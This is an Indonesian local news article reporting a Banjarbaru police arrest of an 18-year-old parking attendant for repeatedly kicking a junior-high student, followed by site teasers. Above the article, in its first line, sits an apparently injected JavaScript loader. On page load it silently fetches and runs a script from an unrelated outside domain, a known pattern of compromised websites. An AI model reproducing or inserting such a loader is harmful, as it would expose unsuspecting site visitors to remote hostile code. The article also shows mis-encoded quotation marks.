(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Polsek Banjarbaru Kota melalui Unit Reskrim berhasil meringkus pelaku penganiyaan anak dibawah umur, pada hari Kamis (14/9) sekitar pukul 11.00 wita.
Pelaku yaitu Erlangga alias Angga (18) yang sehari-hari bekerja sebagai tukang parkir di kawasan kota Banjarbaru. Angga sendiri ditakuti banyak anak-anak sekolah karena dikenal ebagai “preman” dan cukup ditakuti oleh kalangan anak sekolah. Namun pria yang seluruh badannya di penuhi dengan tato tersebut tidak dapat berkutik saat dibekuk pihak kepolisian yang mendapatlan informasi dan keluhan dari masyrakat.
Penangkapan yang dipimpin oleh Kasubnit II Reskrim Polsek Banjarbaru Kota Aiptu Syarifudin ini berjalan tanpa perlawanan pelaku. Aiptu Syarifudin menuturkan bahwa sebelumnya angga ditangkap berdasarkan laporan orang tua salah satu siswa SMP di kota Banjarbaru bahwa anaknya yang masih duduk di bangku sekolah menengah pertama menjadi korban penganiayaan salah seorang “preman”.
“Memang awalany kami mendapatkan laporan dari orang tua siswa salah sayu SMP di wilayah kota Banjarbaru yang menjadi korban dari si pelaku ini,†ungkapnya.
Kronologi penganiyaan itu bermula saat salah seorang teman dari Angga yang juga duduk di sekolah menengah pertama bercerita bahwa memiliki masalah dengan korban. Namun pelaku Angga yang memang memiliki tempramen tinggi dan mengambil hati langsung mendatangi korban. Selanjutnya korban dianiaya pelaku dengan cara ditendang berkali-kali.
“Saat itu akibat aksi brutal pelaku, korban mengalami luka memar di wajah dan badan, orang tua korban tidak terima dan melaporkan kejadian ini ke polsek Banjarbaru kota.†lanjut Aiptu Syarifudin.
Kini aksi premanisme Angga sudah tidak lagi menkhawatirkan anak-anak sekolah. Kapolsek Banjarbaru Kota Kompol Purbo Rahardjo melalui Kanit Reskrim Polsek Banjarbaru Kota Iptu Yuli Tetro menuturkan pelaku akan kami kenakan perkara tindak pidana kekerasan terhadap anak di bawah umur pasal 80 ayat 1 UU No.35 Tahun 2014 tentang perlindungan anak.
“Kami juga menghimbau kepada masyarakat terutama kepada orang tua siswa agar selalu mengetahui pergaulan anak anda. segera peringati anak anda apabila bergaul dengan orang yang tidak dikenal yang dapat mempengaruhi kepribadian anak kita,†tuturnya. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.